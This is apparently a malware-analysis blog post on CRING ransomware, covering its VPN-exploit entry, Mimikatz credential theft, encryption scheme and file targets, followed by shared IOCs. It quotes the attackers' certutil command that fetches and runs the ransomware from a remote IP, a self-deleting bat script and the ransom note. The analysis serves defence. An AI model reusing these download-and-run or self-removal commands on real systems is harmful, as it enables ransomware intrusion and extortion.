As pointed out by Kaspersky, CRING is a human-operated ransomware that is connected with a series of attacks that targeted European industrial companies. These attacks were noticed by the Swisscom CSIRT team in early 2021, but until now it was unclear how the attackers breached the companies to ultimately deploy the ransomware.
Kaspersky says, that an incident investigation made by their ICS CERT Experts team provided evidence that the attackers exploited a vulnerability in the VPN servers.
The vulnerability in question was CVE-2018-13379, which allowed attackers to gain access to Fortigate appliances. From there the attackers used Mimikatz to steal credentials of the users who had logged in to the compromised server.
After gaining access to the domain administrator account, the attackers did a proper reconnaissance of the target environment to choose the most valuable servers to deploy the ransomware.
The following diagram shows the attack path of these intrusions.
The tweet made by Swisscom CSIRT also shows some of the TTPs used by the attacker, such as the usage of certutil to download the CRING ransomware, and mimikatz/prodump to gain access to credential material.
File hash: d8415a528df5eefcb3ed6f1a79746f40
As seen below, there some non-standard section names, and also all sections are writable and executable. This means that the ransomware is packed.
Unpacking the ransomware revealed that CRING is written in .NET.
The first action taken by CRING is to kill the MSSQL process:
Next, it checks the command line arguments and starts executing, only if, the number of supplied arguments is exactly 1 and if it is equals to
CRING targets the following file extensions:
"*.txt", "*.doc?", "*.xls?", "*.mdb", "*.mdf", "*.sql", "*.bak", "*.ora", "*.pdf", "*.ppt?", "*.dbf", "*.zip", "*.rar", "*.aspx", "*.php", "*.jsp", "*.bkf", "*.csv"
The files are encrypted using AES encryption and are given the extension
For each file, a new AES key is generated which is then encrypted with a hardcoded RSA key and appended to the encrypted file.
RSA pub key:
An interesting point is that this ransomware is what we call a “copy ransomware” as it creates a new file with the encrypted bytes and deletes the original one. This can make recovery possible in some cases.
To finish, CRING writes the ransom note and drops a bat script to remove itself from the disk.
Bat file content:
@echo off :tryagain del %1 if exist %1 goto tryagain del %0
Ransom note content:
Oops, your computer is encrypted. Don’t panic. You will be able to recover your important files through the decryption service, but you need to pay a different fee. You must contact us by email. If we don’t receive the decryption request within a week, we may no longer Provide services Contact: firstname.lastname@example.org
# IOCs shared by Swisscom CSIRT 38217fa569df8f93434959c1c798b29d (mimikatz dropping ProcDump to dump lsass.exe) 8d156725c6ce172b59a8d3c92434c352 (beacon) Extracted from beacon: www.mircoupdate.https443[.]net 104.168.30[.]164 8d1650e5e02cd1934d21ce57f6f1af34 (download and run CRING ransomware) Commands executed: certutil -urlcache -split -f "http://18.104.22.168/cc.txt" c:\\users\\cring.exe c:\\users\\cring.exe cc d8415a528df5eefcb3ed6f1a79746f40 (Cring executable) # IOCs shared by Kaspersky ICS CERT %temp%\execute.bat (downloader script - File path) C:\__output (Cring executable - File path) c5d712f82d5d37bb284acd4468ab3533 (Cring executable) 317098d8e21fa4e52c1162fb24ba10ae (Cring executable) 44d5c28b36807c69104969f5fed6f63f (downloader script) 129.227.156[.]216 (used by the threat actor during the attack) 129.227.156[.]214 (used by the threat actor during the attack) 198.12.112[.]204 (Cobalt Strike CnC) 45.67.231[.]128 (malware hosting)